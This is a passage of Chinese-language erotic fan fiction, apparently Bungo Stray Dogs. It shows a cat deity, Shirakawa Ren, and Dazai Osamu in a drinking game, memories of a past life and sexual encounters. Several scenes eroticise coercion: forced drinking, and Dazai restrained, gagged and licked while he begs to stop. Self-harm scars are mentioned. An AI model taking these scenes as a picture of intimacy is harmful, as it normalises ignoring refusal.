“呵,太宰君,你真的很会颠倒黑白——但没用!这一杯你一定要喝!”
在一猫一人滚来滚去间,到底是猫技高一筹,抓住了这个滑溜的人类。
白川莲一手按住太宰治的后颈,膝盖分开他的双腿,强硬将对方困在身下,右手持杯,将这个几乎都被他捏得有些发烫的酒杯贴在他的唇上,逼迫太宰治一点点喝下。
“快喝!”
“不、唔……”
人类一点都不配合,在猫手下用力挣扎着。
于是,当这一杯酒被灌完后,人类最多只喝下了一小半,剩下的大半杯酒,则从人类的唇边流出,顺着他的下巴滚落,在脖颈和喉结间胡乱蔓延,再没入更深的地方。
白川莲看着这样的一幕,呼吸骤然凝固,终于反应过来自己干了什么。
这一刻,太宰治躺在他的身下,呼吸混乱,薄薄的衬衫被扯得乱七八糟,衣领部位被酒液打湿,整个人都散发着可口的气息,抬眼往上注视白川莲的角度,漂亮得近乎魔魅。
白川莲终于明白了太宰治这个狡猾人类的阴谋是什么。
此时此刻,白川莲听到自己的心脏狂跳,口干舌燥间,连喉头滚动的声音都大得吓人。
他捏着酒杯的手不自觉垂下松开,任由那个酒杯在榻榻米上倾倒滚落,自己则悄悄移动,试图后退跑路。
可下一秒,太宰治一翻身,竟然将猝不及防的白川莲压在了下头。
“快、问、快、答!”
太宰治笑眯眯坐在白川莲腰上,左手按住白川莲的胸口,右手行云流水地倒了一杯酒。
“提问,你第一次喝酒是什么时候?和谁一起喝?”
第一次喝酒?
和谁喝?
白川莲恍惚了一下。
好像只是一秒,好像他只思考了很短很短的一瞬间。
但又好像等了无数无数年。
没等白川莲把这些事想明白,太宰治的声音就响起了。
“时间到!”
狡猾的人类捏着酒杯,递了过来,漂亮的眼睛里含着漂亮的笑。
“愿赌服输——这可是你说的哦,莲。”
白川莲嗅到了酒香。
但他说不清这样的香气到底是来自自己面前的这一杯酒,还是来自自己面前的这一个人。
他只是定定看着太宰治,微微抬头,就着太宰治的手将这一杯酒一点点含在口中。
然后蓦地翻身,将人类按在身下,以口渡酒。
唇齿相贴间,一股微醺的热意袭来,就好像白川莲只是嗅到酒香,就已经醉了。
被含热的酒液在两人口中交换,顺着两人的唇角流下,想来这个以口渡酒的方法,在狡猾人类不配合的时候,是很难进行的。
因此,当酒渡完了之后,作为惩罚,白川莲又开始吻他。
是一个带着酒香的微醺的吻。
虽然猫有偷偷使坏,故意去舔那些会让人类发抖的地方,但这个吻到底是温柔的,并且细致绵长。
最后,当两人终于尽兴分开时,他们都有些气喘。
白川莲抬眼,看着太宰治脸上毫不掩饰的“对,我就是要干坏事”的表情,忍不住笑了起来,用指腹轻轻拂过这个人类湿润发红的薄唇,想要问他为什么连讨要一次亲吻都搞得这样迂回周折。
但是,这一次的白川莲,在开口提问之前就已经知道了答案:
因为会不好意思。
是的,多么不可思议啊,明明是个胆大狂野到第一次见面就闯入他的神社本殿,第二次见面就主动脱衣服勾|引他的人类,竟然会对讨要亲吻这样的小事感到不好意思。
“果然,很可爱。”
无论是五百年前,还是五百年后。
一直一直,都这样可爱。
昏暗暧昧的灯光下,白川莲看着面前这个在他心间拂开迷雾、变得越发清晰的脸,轻轻弯眼,低笑出声。
或许,这句话如今再说,已经有些晚了。
但是……
很高兴与你重逢,他约定百年的恋人。
18.018 愿望
白川莲终于想起了记忆中的那张脸,想到了与自己约定“绝不会忘记”的那个人类。
是太宰治,是他来自未来的、最可爱的恋人。
但,尽管如此,猫猫神却不打算就这样与人类摊牌。
实在是五百年的时间太长太长,而猫猫神回想起的记忆又太少太少。
以白川莲对太宰治此人的认知,他总觉得自己如果就这样直接和恋人相认,最后又告诉对方自己其实什么都没想起来的话,他的这个可爱恋人很可能真的会为此气得喵喵大叫。
很可爱的未来。
但也很让猫怜爱。
所以,还是暂时将这件事隐瞒下来吧。
更何况游戏还没结束呢!
胜负欲超强的白川莲暗暗想:总之,先赢了这局游戏再说!
白川莲盯着身下漂亮人类的脸,狡猾地问出了某个对方绝对不好意思回答——至少三秒内不好意思回答的问题:
“太宰,当初骗我变成人身的时候,你在想什么?”
太宰治总是有所预谋的。
哪怕当时的他还只是一个十六岁的小孩子、不,少年,但当他将白川莲约到餐厅前,以美食引诱,却又刻意告诉白川莲餐厅不允许“宠物”进入的时候,他是抱着什么样的心情这样做的?
只与“猫”相识不好吗?
为什么白川莲不能是“猫”?
为什么白川莲一定要是“人”?
太宰治果然卡住了。
在白川莲的注视下,太宰治脸上又浮出了那近乎恼羞成怒的可爱表情,越发像是被逼到墙角、只能用炸毛保护自己的小猫咪了。
不过,只有一秒。
“我在想我才不是变态!”
在三秒结束前,太宰治迅速抛出了这个不是回答的回答。
是让人心痒痒的留白。
太宰治再次翻身,把白川莲压在身下,一边倒酒,一边笑得狡黠:“该你喝了。”
酒液落入杯中,又递到了白川莲唇边。
只不过这一次,似乎是为了惩罚这只老是试图让他陷入窘迫的恶猫,太宰治手指轻轻一晃,酒液就这样顺着白川莲的下巴滚落,倒入衣领,打湿了白川莲的胸膛。
是冷的。
却又像是热的。
“啊呀。”太宰治轻飘飘地说,“手滑了。”
白川莲:“……”
“快、问、快、答!”做了坏事的人类半点也没打算反省,超无赖地无视掉了白川莲的谴责目光。
“提问:每一次来见我的时候,你都在想什么?”
白川莲眨了眨眼:“我在想,这么久没有联系,这个时候的你的确该想我了。”
太宰治又一次语塞了。
也不知道是在懊恼没能难住白川莲,还是因为别的什么,他好不容易冷却的脸上又一次开始发烫。
“可恶的猫……不准、不准每次都对我说这种话!”
人类抓着白川莲的衣领,像是咬牙切齿,但听在猫的耳里却不如说是在撒娇。
但一心想着赢的猫却十分煞风景地说道:“轮到你喝了。”
太宰治轻瞥白川莲一眼,理直气壮道:“规则里可没有说回答上问题后对方就要喝酒。”
白川莲一愣,脑瓜一转,愕然睁大眼:“什么?可刚刚那杯酒——”
“刚刚那杯酒是莲你自己认下的吧!”太宰治把责任一推,绝口不提自己对猫的误导,“而且最后那杯酒也没有被‘喝掉’哦!所以没错,规则是成立的,我没有犯规!”
白川莲听得目瞪口呆:什么?这样的吗?
这么过分的吗?
这游戏有太宰治你的加入可真是捡到鬼了!
白川莲超不服气。
可他没有办法,因为这一次的他甚至连给狡猾人类灌酒的理由都没有。
猫猫神超生气。
混乱的情绪下,他翻身坐起,泄愤地、顺手地、甚至是在他自己都没有意识到的时候,就拽掉了人类衣袖下的绷带,手指顺着人类的手腕摸了进去。
就像是他曾经无数次做过的那样。
“你——”
模糊的记忆,熟悉的感觉。
无论是光洁的皮肤,滚烫的温度,还是隐约的颤抖战栗,都是白川莲曾无比熟悉的东西。
这一刻,白川莲僵住了,几乎分不清自己是糊涂还是清醒的。
他往自己的手上看,看到人类的衬衫袖口不知道什么时候被扯开了,推到手肘,在昏暗的灯光下露出了光洁的皮肤。
人类的皮肤很薄很白,明明只是被白川莲轻轻揉了一下,就已经开始发红。
而人类的感官也是非常敏锐的,白川莲只不过是用手握住他的手臂而已,他就已经开始轻轻发抖,一阵阵热度伴随着“愿望”从深处浮起,那样清晰,以致于白川莲不必去看去听去辨认,就清楚知晓了人类的……
愿望。
白川莲几乎不敢抬头,只看着被自己捉住的手臂,声音不知道什么时候有些发哑:“你手臂上的伤疤……是怎么消失的?”
人类藏在绷带下的身体有很多伤疤,有些是尝试自杀后留下的,有些是在港口mafia时留下的。
但如今,它们都消失不见了。
太宰治反手抓住了白川莲的小臂:“这是第三个问题吗?”
白川莲的呼吸有些急促,想要知道这一刻的人类是什么表情。
他觉得那一定是非常漂亮诱人的。
可同时,白川莲又不想知道那样漂亮的表情具体是什么样子,因为他害怕接下来会有什么事失控。
有些事,是不该在他想起过往记忆之前发生的。
而且,白川莲到底是一只妖魔。
他在很克制地收敛住自己的爪牙,以免伤害到自己脆弱的恋人。
但,白川莲总是记不住一件事,那就是他的人类恋人,向来胆大任性,从来肆意妄为。
太宰治抬手扼住了白川莲的脖颈,拇指借着湿润的酒液,顺着白川莲的喉结慢慢上滑,逼迫白川莲抬眼看他。
手指下的皮肤开始发热,白川莲那双漂亮的猫瞳竖直,里面有什么危险的欲念蠢蠢欲动。
隐约间,太宰治看到有黑色的虚影化作了一条尾巴一样的东西,贪婪地攀住了他的小腿,想要向上、向着更深入的地方去,却又在下一秒被主人克制拽回,收进宽大的衣袍下。
太宰治笑了一声,狡猾,得意,且恶劣。
“这是第三个问题吗?”太宰治再一次问着。
白川莲没有回答,也无法移开目光,只有被太宰治坏心眼揉弄着的喉结轻轻滚动了一下。
“看来你已经知道答案了……也对,这样的事,一般是不会忘记的吧?”
太宰治再一次将白川莲按在地上,岔开腿跪在白川莲腰间,松开白川莲的手后,手指自然地转移到了自己衬衫的扣子上,将那身本就被扯得乱七八糟的衬衫,再次解开了一粒扣子。
他的动作很慢很慢,给白川莲留下了绝对足够的制止时间。
可白川莲却……
无法动作。
不想动作。
太宰治的衬衫扣子只解到了第三颗,接下来,他的手顺着衬衫探进去,准备解开身上的绷带。
在衣服下解开。
“——够
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了!”
这一刻,白川莲蓦地抓住了太宰治的手。
他不敢再让太宰治继续下去了,因为他几乎想象到了接下来的画面,更因为这正是他第一晚、第二晚、第三晚让太宰治做过的事。
“想起来了吗?”
人类笑着,故作无辜,并满心恶劣地在白川莲耳畔轻语。
“对我做过的那些事,全都想起来了吗?”
白川莲用力呼吸,咬紧牙关,克制着,想要抽身后退。
这个姿势有点危险,白川莲决定拉开距离。
但这一次步步紧逼的却变成了太宰治。
“说起来,那一天晚上也正好是满月呢。”太宰治恶意地、轻巧地将白川莲刚刚从他手臂上扯下的绷带,系在了白川莲的脖子上,用力拉紧,不准某个恶猫逃跑,“满月对妖魔、不,对你来说,应该是个很有趣的时间吧?”
白川莲惊愕转头,看向窗外,看到明月高悬,深夜的天空明亮如昼。
今天竟然真的是满月!
难怪他今天晚上这么……可恶的人类!
他是故意的!
太过分了,不知道猫已经很努力在冷静了吗?
怎么还天天给猫添乱!
没等白川莲在谴责坏心人类之余平息自己沸腾的思绪,坏心人类的声音又响起了:
“所以,我觉得至少今晚,你应该记得这些事的。关于你是怎么让我把衣服一件件脱下来的,关于你是怎么让我身上的伤疤一条条消失不见的,还关于你是怎么强迫我的——都想起来了吗?”
“不是……”
“嗯?”
白川莲深呼吸,努力克制,努力讲理:“不是强迫……”他近乎委屈,“明明是你自己的愿望。”
人类目光一动,并不惊讶,显然早就猜了这件事。
但不知道为什么,这一刻他的表情却莫名危险:“愿望?又是‘愿望’。只要是‘愿望’,难道你都会实现?”
白川莲强调:“不是‘谁’的愿望……是‘你’的愿望。”
“‘我’的愿望是什么?”
“……”
太宰治拽着白川莲脖子上的绷带,拉进,俯身看白川莲。月色下,他本就俊秀的脸越发漂亮,如同魔魅。
“告诉我,莲,‘我’的愿望是什么?”
【只是抚摸我是不够的。】
白川莲张了张嘴,说不出话,脸上有些发红,几乎有些羞恼于这个人类对“愿望”的使用。
太过分了,人类!
怎么能对神明许这种愿望!
【只是亲吻我也是不够的。】
太宰治的声音越发轻了:“我看不清我自己呢……所以神明大人,你会告诉我这个可怜的人类吗?”
【爱我,抱我,满足我。】
“你会告诉我,我真正的愿望是什么吗?”
【让我再也不用忍耐。】
“你会实现‘我’这个可怜人类的愿望吗?”
【让我再也没办法思考。】
白川莲猫瞳一缩,如雪纯白的发尾骤然变黑,瞬间蔓延至发根,将他染成漆黑。
与此同时,那原本只在白川莲衣袍下轻轻涌动的邪恶虚影,也在此刻化作了九条黑色实质,顺着人类的脚踝一根根缠绕上去,用力,深入,像是黑色的潮水,将他淹没。
“唔……”
不给人类更多的适应时间,白川莲按住人类的后脑,向着那张不断吐露蛊惑之言的薄唇重重咬下。
这一刻,显露了妖魔真身的恶神不再忍耐,决定彻底实现这个人类的愿望。
就如五百年前的那个满月夜一样。
19.019 爱
19岁的太宰治不得不去思考一件事,那就是——
“爱”究竟是什么。
太宰治本来可以不必思考这件事的,又或者说,他可以以他一贯的悲观与冷酷,给所谓的“爱”下定义。
“爱”是人类发明的一种浪漫概念;“爱”是荷尔蒙的感知与躁动;“爱”是对多巴胺的上瘾;“爱”是血清素降低后的强迫性思维。
甚至它也可以只是一种单纯的生理反应。
就像是人饿了会想要吃饭,困了会想要睡觉一样。
当人的荷尔蒙开始躁动、开始被另一个人散发的荷尔蒙吸引时,人就会以为自己生出了“爱”。
——瞧,森医生的藏书也不是那样没用。
虽然它们对他的自杀追求并没有什么帮助,但至少它们告诉了他所谓的“爱”的真相,并帮助他从各个角度去解构这份因人类的无知而被推崇了千百年的“爱”。
所以,这就是答案,这就是“爱”的真相。
它是一种纯粹的生理反应,是人类众多低俗欲望的一种。
它不值一提,毫不珍贵,并且也终将与人类所有的欲望一样,变得面目全非、变得面目可憎,直到走向消亡的终局。
所以,太宰治也可以坦然承认,他是“爱”着白川莲的。
是的,爱。
在太宰治意外穿越,并经历了那一次混乱的、让他大为恼火又无路可退的满月夜后,太宰治终于无法回避这个问题。
那就是对他太宰治而言,白川莲这个妖魔到底意味着什么。
是朋友吗?
当然是的。
如果不是朋友,太宰治怎么可能与一只猫保持这样长久的联系?
或许在最开始的时候,还只是少年人的太宰治,可能只是单纯的想要寻求刺激,单纯出于一种对妖魔、对彼岸和对常世的好奇与向往,才主动与这样的一个猫妖保持了联系。
可之后的一切,如果不是因为真的把这只猫当作了朋友,太宰治又怎么可能容忍被这只蠢猫蹬鼻子上脸,挤进本该只有他一个人的安全屋里、睡在他的床上,还把他的衣服当作猫抓板?
他太宰治又不是那些见了猫就昏了头的猫控!
所以,白川莲是太宰治的朋友。
这一点是毋庸置疑的。
但……还有呢?
白川莲除了“朋友”之外,还意味着什么?
哪怕太宰治可以嘴硬地对任何人包括他自己,一遍遍重复“就是朋友而已”,可是——
当他第一次听到那句“我对人类没有期待”的时候,他为什么要生气?
当他第一次得知白川莲曾经有过恋人,并且为了那个恋人宁可选择自我消散的时候,他为什么会嫉妒?
他为什么要去询问白川莲的“愿望”?为什么会在被白川莲拒绝后爆发出那样强烈的怒火?
如果仅仅是“朋友”而已,是不可能会有这样复杂的情绪的吧?
更何况是在“朋友”的面前脱衣服,甚至是因为这样的举动而兴奋起来……他又不是真的变态!
所以,没错。
答案已经如此清晰。
已经再也没有能够自我欺骗、自我否认的余地了。
他就是喜欢白川莲。
就像喜欢蟹肉罐头,喜欢酒,喜欢游戏那样,喜欢着白川莲。
可是,这又怎么样呢?
他喜欢蟹肉罐头,但也不是非吃不可。
他喜欢游戏,但也不是非玩不可。
他喜欢白川莲,但也不是非白川莲不可。
所以,与其向前一步,打破平衡,沉溺于迟早会消亡的低级欲望之中,最后让一段关系变得面目全非,让他不得不直面一个人、甚至直面自己最丑陋的那一面,倒还不如原地不动,永远只当“朋友”就好了。
只要永远不靠近,就永远不需要后退;只要永远不得到,就永远不会有失去。
聪明人总是懂得取舍。
特别是太宰治这样特别擅长趋利避害的聪明人。
所以,如果在路边看到一只漂亮的猫,从而想念那只曾经跟在自己身边的猫,不要怀疑,那是血清素波动引起的强迫性思念,这并不代表什么。
所以,如果在午夜梦回时又回到了那个满月的夜晚,梦到那个神台上的神明走下来,将那天没有做完的事继续了下去,不要多想,那是激素驱使下的本能冲动,这依然不代表什么。
以及深夜休憩时突然惊醒,在躁动不安中的辗转反侧;还有每个走神的时刻一遍遍回想的那双漂亮猫眼;甚至是他在冷静继续任务和回到京都跳下白川去寻找那只猫的冲动之间的不断拉扯……
这些全都不代表什么。
这些全都是作为人类的自己无法贯彻理性、无法摆脱本能和激素影响的证明而已。
不需要太过放在心上,只要静待时间的流逝就好。
只不过,对于年轻气盛的身体来说,这样的静待实在有些过于难熬。
所以,在洗白任务的间隙,在太宰治每一个难得的休憩时间里,他都会梦到那双过于危险幽深,同时也过于蛊惑诱人的猫眼。
不得不说,作为“神”的时候,白川莲的可爱,实在让坏心人类想要蹂躏他,最好是看他被自己欺负得炸毛、喵喵大叫,可在作为“妖”的时候,白川莲那过于强烈的危险和蛊惑感,却让人类想……
从梦中蓦然惊醒的太宰治,每到这个时刻,都会倍感懊恼、十分气愤,最后不得不给自己找了个固定的安全屋,并且备齐衣物。
——这些全部都是猫的错!
就这样,时间一月一月的过去了。
太宰治本来以为这样的冲动与本能会随着时间慢慢淡去,可最后,明明离那个满月夜过去了足足半年有余,他的躁动不仅没有平息,反而越演越烈。
明明是他主动选择远离和冷静的,最后却反而像是被那只恶猫狠狠玩弄了一样,整个人被吊得厉害,不上不下的,焦躁难耐地想要得到一个结局。
——全都是猫的错!!
当太宰治又一次从梦里醒来,不得不跑到淋浴间里磨蹭了半个小时才出来时,他路过镜子,无意中对上了那张满是潮红的脸。
这一刻,太宰治如触电般移开目光,说不出是难堪还是羞恼。
但与此同时,他想要杀猫的心情则空前强烈。
全!都!是!猫!的!错!
一定要让那只恶猫为他对自己做过的事忏悔!!
可能人在欲求不满的时候真的容易做蠢事。
等太宰治回过神来的时候,他连去京都的路线都规划好了。
可是,最后,到底理智占据上风,太宰治将这份规划从自己的脑袋里默默删除。
在……在成功克服低级欲望之前,还是跟那只蠢猫保持距离吧。
这样想着的太宰治,在这一天之后不久,就意外掉落进熊本县的白川中。
而当太宰治再爬上来后,他看着面前熟悉的本殿,甚至是天空熟悉的满月夜,整个人都不好了。
不是吧……怎么会这样?
为什么熊本县的白川也能穿越啊?!
太宰治湿漉漉地浮出水面,就像是一个只会在满月夜出现的水鬼。
可当他抬起头时,他看到白川之上,雪色与月色的银轮中,白川神社的本殿窗户大开,一只长发漆黑、漂亮得妖异的猫妖正坐在窗棂处,笑盈盈看他。
熟悉的大雪,熟悉的满月夜,熟悉的黑发妖魔。
就好像太宰治从未离去,而他那半年的纠结时光也全然不存在似的。
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可本殿建筑上摩擦的痕迹,却清楚告诉太宰治,这里已经过去了不断的时间。
至少,一年。
所以……这只猫妖……难道等了他一年吗?
不可遏制的,太宰治心中生出了……喜悦。
心脏怦怦狂跳着。
是一种贪念与欲望得到回应后的满足,如吹胀的气球一样,轻飘飘地裹着心脏。
很开心。
是明明理智知道不应该、需克服的本能,但也仍然无法控制的开心。
甚至,当窗棂上坐着的那只黑发妖魔向他轻轻眨眼,留下一个让人类心痒难耐的眼神、转身进入本殿后,太宰治竟然下意识站了起来,登上台阶,又一次站在了本殿大门前。
【不应该的……】
【明明……不应该这样的……】
太宰治看到自己身前的本殿大门留有一道缝隙,不大不小,很适合被人推开。
一看就知道是某个恶劣家伙特意留给他的。
就像是在告诉他,如果他这一次进入了本殿,那必然是他自己的主动选择,而不是任何外力的逼迫。
也像是强迫他承认,这扇门的开启,即意味着他清醒意志的自我沉沦。
——多么可恶的猫妖啊!
所以正确的选择,应该是转身离开。
哪怕犹豫半秒,都绝不应该!
可是……
【我不该这样做的。】
太宰治这样想着,手下用力,推开大门。
他迈步进入,又一次站在了这个神殿里,站在了熟悉的“神”与“魔”面前。
大门在太宰治身后关闭。
熟悉的温度在无形中靠近了他,熟悉的视线在无声中把玩着他。
可这一次,太宰治的姿态十分坦然,不但没有第一次来到这里的僵硬、拘谨、拒绝与无所适从,甚至主动脱下了自己的衣服。
毕竟——
不过是欲望而已。
太宰治从容地脱掉了自己的外套,甚至根据空气中的温度,找到了那只无形妖魔,用近乎挑衅的目光看他。
无声的暧昧与交锋中,有一声低笑响起。
随后,太宰治感到熟悉的受制感袭来,有某个恶猫毫不客气地接过了他身体的掌控权。
而这一次,似乎是想要给太宰治一点颜色看看,那恶猫竟没再玩他恶劣的小把戏,没再跟太宰治的绷带较劲,而是控制着太宰治抬手,按在皮带上,而后,缓缓解开。
皮带在衣物间的每一次摩擦和细响,都在宽阔的神殿内回荡出让人难以忍受的声响。
太宰治感到自己的体温不断升高,脸上也开始发烫,但他的目光越发平静,近乎冷酷。
直视欲望,接受欲望。
才能消解欲望,超越欲望,轻鄙欲望。
一如他轻鄙生命,轻鄙世界。
衣物簌簌落下。
先是外套,再是裤子,接着是衬衫、绷带。
冬天冰冷的神殿里,空气的温度却节节攀升,暧昧与欲望几乎化作粘稠的实质,太宰治的呼吸也越发不稳,无数次只能在梦里和卫生间解决的躁动,几乎要化作某个实际的名字。
可是,就在太宰治扯下小臂上的绷带,露出下方狰狞的伤疤时,神台上,原本太宰治以为只是一具空壳的“神”动了。
先是目光的转动。
祂幽深难测的猫瞳,有着近乎实质性的视线,但却又极尽轻柔落在太宰治手腕的那条疤痕上,像是连目光的重量都不忍对其施加。
紧接着,祂伸出手,在黑发妖魔终于准备轻佻亵玩人类的前一刻打散了它,令那魔魅蛊惑的黑色妖魔再度化作虚影,融化在阴影中。
最后,祂站了起来,从神台上一步步走下,向太宰治走来。
20.020 舔舐
今天,神社本殿向来紧闭的窗户是打开的。
雪色与月色的相互映照之下,就像是一团团流动的银。
但这样宛如白昼的美丽银光,却在本殿外止步了。
因为——
巨大的阴影笼罩占据了此地,不容许任何一丝光的侵入!
这一瞬间,莫名的,太宰治注视着那个在神殿阴影下过分高大的身形,心脏怦怦跳动了起来。
是比在欲望攀升时更紧张也更无措的跳动。
他头皮发麻,像是预感到了某种可怕的未来、不妙的结果,心中生出了没来由的慌张,下意识想要后退。
但只是一步,他就被抓住了。
非常非常轻,像是枯叶浮于流水,雪花化入春风。
可就是这样轻这样柔的力气,却捉住了太宰治,让他僵在原地,无法挣脱。
“你受伤了。”
雪白的神明捉着他的手说。
明明是如泥胎木塑一样的“神”,明明是与“妖”的刺激一面截然不同的、是太宰治最讨厌的无聊无趣,平淡无奇。
可不知道为什么,太宰治却不太敢对上对方的眼神。
“……与你无关。”
迟来的难堪浮上心头,太宰治想要缩回手。
但这一次,他收不回手。
“你好像总是对自己这么坏……为什么?”
比雪更洁白的猫看着他,目光柔和,不含半点轻佻、半点杂念,如同对待一个最无暇的灵魂,最珍贵的宝物。
太宰治感到自己开始颤抖起来,那令他恐惧的预感与未来,再次在他心中浮现了。
分明太宰治感到自己像是踩进了某个软绵绵的云朵中,一种柔软的轻飘与失重感在这一刻笼罩了他,就好像此时此刻他与某个名为“幸福”之物触手可及。
可这虚幻的“幸福”背后,那一切名为时间和命运的庞大之物,以及横滨那个无名神对他感慨时的模样,甚至是白川莲“未来”那只半透明的手,都令他深深恐惧和战栗起来。
【怎么可能?不可能!】
【不应该的,这一切……不应该是这样的!】
在这样的瞬间,过分敏锐且过分聪明的人类想到了太多太多。
可这所有的思考,都在雪色猫妖抬手捧住他的脸,低头亲吻在他眉心的瞬间消失了。
太宰治表情一片空白。
明明这只猫妖的动作如此缓慢,给了太宰治百分百拒绝和躲闪的余地。
但是,好奇怪,他竟然躲不开。
他竟然只能……只能看着隐秘黑暗中的那只雪色猫妖,轻柔地亲吻他。
是白色的。
没有半点杂质,没有丝毫欲望。
是如雪一样纯粹无暇的……喜欢。
【他喜欢我。】
这一刻,在意识到这件事的瞬间,太宰治呼吸一重,下意识抓紧了白川莲的衣服。
体内那股躁动得近乎沸腾的热潮,在此时浸透了他冰冷的血肉,试图向他的血液、甚至向他的灵魂侵入。
好危险、好可怕。
感觉自己像是要死去了。
并且是被火焰烧成灰烬,连他唯一自由的意志都要就此沉沦淹没的可怕死亡。
这不行。
这绝对不行!
“放开我,不——”
猫妖轻轻吻在太宰治的眼睛上。
于是太宰治那声软弱的拒绝也就此被吞掉。
他闭上了眼,长长的眼睫不停轻颤,胸口起伏,呼吸越发急促。
难以言喻的酥麻痒意浮起。
那些本不该存在,但莫名令他无地自容的羞耻感,在这一刻卷土重来。
“不、不要……放开!放开我!”
太宰治听到了自己拒绝声,越发颤抖,越发软弱,像是对某个未来做出最后的恐惧挣扎。
可他无法动作。
他竟然无法动作!
于是那猫妖轻轻吻在太宰治的唇上。
那细微的颤抖也捕获了他的唇。
“别害怕。”
猫妖说着,握住了太宰治的手,轻轻抬起,露出了那道狰狞疤痕。
而后,他低头,舔过。
柔软细密的倒刺,在苍白又狰狞的伤疤上扫过。
是猫咪对伤口的舔舐,是纯粹而不带丝毫欲念的心疼。
但这样的爱护与心疼,却比任何药剂都有效,令高温的热潮在太宰治体内猛烈炸开。
猝不及防。
无法招架。
“什么、不行!放开!!”
太宰治第一次如此用力如此激烈地挣扎起来。
可那猫妖也是第一次如此强硬如此不容拒绝地捉住了他。
“别怕。”
猫妖说。
太宰治难以启齿。
他根本无法告诉这个笨猫这完全不是害怕!
“不会伤害你的。”
猫妖温柔宽慰。
太宰治无法解释。
他完全没办法说明他的挣扎是为了什么。
于是猫舔过了他手腕上的疤痕。
第二遍,第三遍。
狰狞地伤疤很快恢复白皙。
太宰治暗暗松了口气,竭力平复自己体内不安的躁动。
可令他惊恐的是,这竟然不是结束,而是开始!
绷带又一次被猫扯落了。
这只恶猫似乎在扯掉他的绷带这件事上有额外的癖好、微妙的窍门。
哪怕是太宰治自己来都不会像这只恶猫一样脱得这么快。
但这毫无疑问是一个坏消息。
因为绷带脱得快,就意味着他在猫面前已经变成了全然的赤|裸。
“够了、够了!!”
太宰治像是大难临头的小动物,在即将到来的危险前用力炸毛,试图吓退敌人。而在发现炸毛无用后,他又迅速向大门的方向冲去,想要像上一次一样溜掉。
可猫早有准备!
无声无息的,白色的猫尾捆在了太宰治的腰上。
温热,毛茸茸的。
在失去了衣服和绷带的阻隔后,直接贴在了太宰治有些潮湿的腰上。
这甚至只是第一条!
第二条捆住的,是太宰治脚。
第三条捆住了太宰治的手。
第四条把太宰治整个人放倒,并贴心地充当了毛绒地毯,让太宰治直接趴在了上头。
而当太宰治用手肘撑着自己回头看去时,竟还有五条巨大的阴影在殿内摇晃!
是九尾猫!
这该死的猫妖,哪来那么多尾巴!!
太宰治在气愤的、无法启齿又无地自容的羞耻与高热中,眼睁睁看着身后那只愚蠢的、毫无常识还傻乎乎的笨猫,化作了一只巨大的猫。
三米高的体型,潮湿的呼吸,黄色的猫瞳。
是真正的野兽!
太宰治越发感到了不妙,扭动着想要挣脱恶猫的尾巴,想要从这只猫的爪下跑路,但这只换来了猫抱怨的咕哝。
“太不配合了。”猫一爪就把人类的腰按趴下了,咕哝抱怨着,甚至带着委屈的指责,“治伤而已,有必要这么害怕吗?”
太宰治:“……”
正常人谁治伤会把别人衣服脱光了用舔的啊?
蠢猫!
听到了吗蠢猫!!
太宰治近乎羞愤,想要发挥自己的毒舌功力大声辱骂这只肆意妄为又毫无人类常识的蠢猫。
但猫不想听,直接用尾巴堵住了人类的嘴。
猫自言自语:“好吧,我快点解决也一样。”
太宰治:!!!
本来就够糟糕了。
结果现在更糟糕了!
不行!停下,这个真的不行!!
太宰治头昏脑胀,被这越发不妙的发展搞得整个人都乱七八糟。
可当他想要反抗时,那只巨猫的舌头已经从他整个背脊上舔过。
痒。
明明带着雪的气味,但却是滚烫的。
痒到发痛。
“唔……”
太宰治用力咬唇,想要吞下自己羞耻的颤音。
可他只用力咬下时,只咬到了一截猫尾,和被他含得湿漉漉的猫毛。
太糟糕了。
太宰治用力闭眼,哪怕没有镜子,都能想象出自己此刻是何等狼狈羞耻的样子。
真的太糟糕了!
一定要逃跑!
不能这样下去,一定要——
“呜……”
第二次,那恶猫舔过他的后背。
强烈的痒意化作酥麻。
太宰治跪伏着,额头抵在柔软的猫尾上,难耐的喘息被猫尾堵在喉咙深处,腰不自觉地扭着,像是想要迎合,也像是想要艰难逃跑。
但,第三次,当那只恶猫把他翻了个面,像是品尝自己的猎物一样,从太宰治的正面用力舔过时。
太宰治身体蓦然如弓紧绷,原本还在勉力克制的声音直接变调。
“不!呃——呜呜呜!”
太可怕了。
太糟糕了!
太宰治头皮发麻,脑中一片空白,连眼泪都快要被逼出来了。
他用力抓着那条堵住自己嘴巴的猫尾,想要将这可恶的东西拽出去,想要不管不顾告诉这只猫此刻的他到底在做何等可怕的事。
可是——
猫只是用肉垫轻轻一踩,就把他成功按下。
“呜……”
无力阻止。
无法阻止。
太宰治闭上眼,整个人都在发抖。
他的每一寸皮肤都在冒汗,分不清那些在皮肤上浮动的是河水、是汗水,又或者是别的什么。
而猫似乎也对这件事有些好奇,按着人类,舔了又舔,舔了再舔。
可令猫奇怪的是,这个人类好像怎么也舔不干净,并且越舔越湿,越舔越抖。
而有时候,猫明明都快要舔干净了,可很快的,那人类又在呜咽声中变得一塌糊涂。
猫是个很有恒心很有毅力的猫。
所以一会儿舔不干净,那就多舔一会儿。
于是,一次又一次,一次再一次,直到那人类再也忍不住哭了出来,身体也如濒死般用力挣扎起来,抬腿用力想要把猫踹开时,猫才终于回过神来,莫名心虚地把堵在人类嘴里的尾巴收回。
这一刻,终于获得解脱的人类的眼睛里浮动着漂亮的泪光,就连瞪猫的表情都漂亮得让猫心痒。
“你就……这么想要玩死我吗?”
人类像是无法接受自己此刻的丢脸,手臂交叉着挡住了脸,吸了吸鼻子,声音委屈极了,简直像是在撒娇。
“把我玩坏了对你有什么好处?可恶的猫!”
白川莲:“……”
白川莲莫名心虚。
这一刻
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,这位恶劣又纯白的猫猫神,虽然不知道自己到底做了什么坏事,但总感觉自己确实做了坏事。
于是,猫乖乖地收回按住人类的肉垫,端正坐好,歪头看着瘫软在地上连手指都几乎动不了的人类,半晌,好奇伸出爪子,轻轻探——
“给我变回人!!!”
太宰治愤怒大喊。
白川莲吓了一跳,连忙收爪,乖乖变回了人形。
他坐在太宰治的身侧,低头看他。
这一刻,这位雪色的神明依然是衣冠楚楚,从衣饰到发丝,一切都是整整齐齐的,没有半点凌乱。
这也越发显得衣物散落一地、皮肤发红且带着水光的太宰治越发羞耻不堪。
——这怎么可以!!
生命力超顽强的人类哪怕刚刚还去得一塌糊涂,但这一刻却又迅速恢复了力气,看着身边这只整整齐齐的恶猫,一时间恶向胆边生,扑上去用力一撕,扒掉了白川莲的外套。
裂帛声中,白川莲惊讶看了看自己化作碎片的雪色神衣,有些困惑,但没有阻止。
于是,第二下。
